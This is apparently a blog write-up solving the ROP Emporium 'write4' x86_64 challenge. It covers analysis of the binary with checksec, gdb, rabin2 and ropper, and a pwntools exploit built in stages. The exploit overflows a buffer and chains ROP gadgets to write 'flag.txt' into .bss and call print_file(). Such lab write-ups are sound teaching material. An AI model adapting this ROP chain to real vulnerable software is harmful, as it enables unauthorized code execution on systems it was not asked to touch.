ROP Emporium - write4 (x86_64)

5 minute read

Introduction

write4 is the fourth challenge of ROP Emporium! To solve this challenge we will have to construct a write primitive in order to write the flag.txt string in the memory. You can find the challenge here

Challenge Description

On completing our usual checks for interesting strings and symbols in this binary we’re confronted with the stark truth that our favourite string "/bin/cat flag.txt" is not present this time. Although you’ll see later that there are other ways around this problem, we’ll stick to the challenge goal which is learning how to get data into the target process’s virtual address space via ROP.

Important!

A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like “flag.txt”) as the 1st argument.

Initial Binary Analysis

Let’s start with the file command.

write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped

As always, we have a x86_64 not stripped ELF Executable.

Let’s also use checksec to check for any protection mechanisms.

1[*] 'write4'
2    Arch:     amd64-64-little
3    RELRO:    Partial RELRO
4    Stack:    No canary found
5    NX:       NX enabled
6    PIE:      No PIE (0x400000)
7    RUNPATH:  b'.'

The binary has NX (Non Executable stack) enabled in order to prevent us from preforming a ret2shellcode attack.

To complete the analysis we will utilize GDB to find the functions used in the binary.

gdb -q write4

To list all the functions:

inf func (info functions)

Functions

There are 3 interesting functions usefulFunction(), usefulGadgets() and print_file() which is loaded on the PLT.

Let’s analyze (dissasemble) each function.

usefulFunction()

disass usefulFunction

usefulFunction Dissasembly

As we can see this function just calls the print_file() function without passing an argument so it’s not any useful.

usefulGadgets()

disass usefulGadgets

usefulGadgets Dissasembly

This function contains a mov [r14], r15 gadget which we may use to copy the flag.txt string into process’s virtual address space. As it stores the value of the %r15 in memory, to the address given in r14

print_file() This function as we know from the challenge description gets the filename as an argument and then prints the appropriate file.

At this point we will skip the Finding the Vulnerability part as we already know that the pwnme function is vulnerable to Buffer Overflow allowing us %rip overwrite.

Exploit Strategy

To solve the challenge we have to call the print_file() function with flag.txt as the 1st argument. The problem is that the flag.txt string is not included in the binary so we have to construct a write primitive in order to write the string into an ELF segment. To achieve this we can utilize the mov [r14], r15 from the usefulGadgets function in combination with a pop r14; pop r15; ret gadget in order to populate those registers with the appropriate values. Last but not least, we also need a pop rdi; ret gadget in order to pass the flag.txt string to the print_file() function.

Finding where to write

We can’t start building our exploit without knowing where we are going to write in memory. We will use a tool called rabin2 which is part of the radare2 suite to gather information about the ELF sections.

rabin2 -S write4

ELF Sections

The .bss section is the ideal candidate as:

  1. We have Read - Write permissions on it.
  2. It’s size is 0x8 bytes, exactly the size of the flag.txt string.
  3. .bss contains uninitialized variables so there would be the minimun impact on the binary’s execution.

Building the exploit

Let’s start with a template.

 1from pwn import *
 2
 3elf = context.binary = ELF("write4")
 4p = process(elf.path)
 5
 6offset = 40
 7
 8payload = b'A' * offset
 9
10p.recvuntil(b'> ')
11p.sendline(payload)
12p.interactive()

Use ropper to find the mov [r14], r15 and pop r14; pop r15; ret gadgets.

ropper -f write4 --search "mov [r14], r15"
1[INFO] Searching for gadgets: mov [r14], r15
2
3[INFO] File: write4
40x0000000000400628: mov qword ptr [r14], r15; ret; 
ropper -f write4 --search "pop r14; pop r15; ret"
1[INFO] Searching for gadgets: pop r14; pop r15; ret
2
3[INFO] File: write4
40x0000000000400690: pop r14; pop r15; ret;

Let’s add the gadgets, the .bss address and the string we want to write in the .bss to our exploit

 1from pwn import *
 2
 3elf = context.binary = ELF("write4")
 4p = process(elf.path)
 5
 6offset = 40
 7
 8pop_r14_15 = p64(0x400690) # pop r14; pop r15; ret
 9mov = p64(0x400628) # mov qword ptr [r14], r15; ret;
10bss_address = p64(0x601038)
11data2write = b'flag.txt'
12
13payload = b'A' * offset
14
15p.recvuntil(b'> ')
16p.sendline(payload)
17p.interactive()

Create the write primitive.

 1from pwn import *
 2
 3elf = context.binary = ELF("write4")
 4p = process(elf.path)
 5
 6offset = 40
 7
 8pop_r14_15 = p64(0x400690) # pop r14; pop r15; ret
 9mov = p64(0x400628) # mov qword ptr [r14], r15; ret;
10bss_vaddr = p64(0x601038)
11data2write = b'flag.txt'
12
13payload = b'A' * offset
14
15# Stage 1 - Write the data into .bss
16
17payload += pop_r14_15
18payload += bss_vaddr # populate r14 with the .bss vaddr.
19payload += data2write # populate r15 with the data.
20payload += mov # Store the value of r15 to the address given in r14
21
22p.recvuntil(b'> ')
23p.sendline(payload)
24p.interactive()

Call the print_file() function with the .bss vaddr as argument.

Let’s use ropper to find a pop rdi; ret gadget.

ropper -f write4 --search "pop rdi; ret"
1[INFO] Searching for gadgets: pop rdi; ret
2
3[INFO] File: write4
40x0000000000400693: pop rdi; ret;
 1from pwn import *
 2
 3elf = context.binary = ELF("write4")
 4p = process(elf.path)
 5
 6offset = 40
 7
 8pop_r14_15 = p64(0x400690) # pop r14; pop r15; ret
 9mov = p64(0x400628) # mov qword ptr [r14], r15; ret;
10bss_vaddr = p64(0x601038)
11data2write = b'flag.txt'
12pop_rdi = p64(0x400693) # pop rdi; ret
13
14payload = b'A' * offset
15
16# Stage 1 - Write the data into .bss
17
18payload += pop_r14_15
19payload += bss_vaddr # populate %r14 with the .bss vaddr.
20payload += data2write # populate %r15 with the data.
21payload += mov # Store the value of %r15 to the address given in %r14
22
23# Stage 2 - Call print_file()
24
25payload += pop_rdi 
26payload += bss_vaddr # populate %rdi with the bss_vaddr.
27payload += p64(elf.plt.print_file)
28
29p.recvuntil(b'> ')
30p.sendline(payload)
31p.interactive()

Pwn3d !

Pwn3d!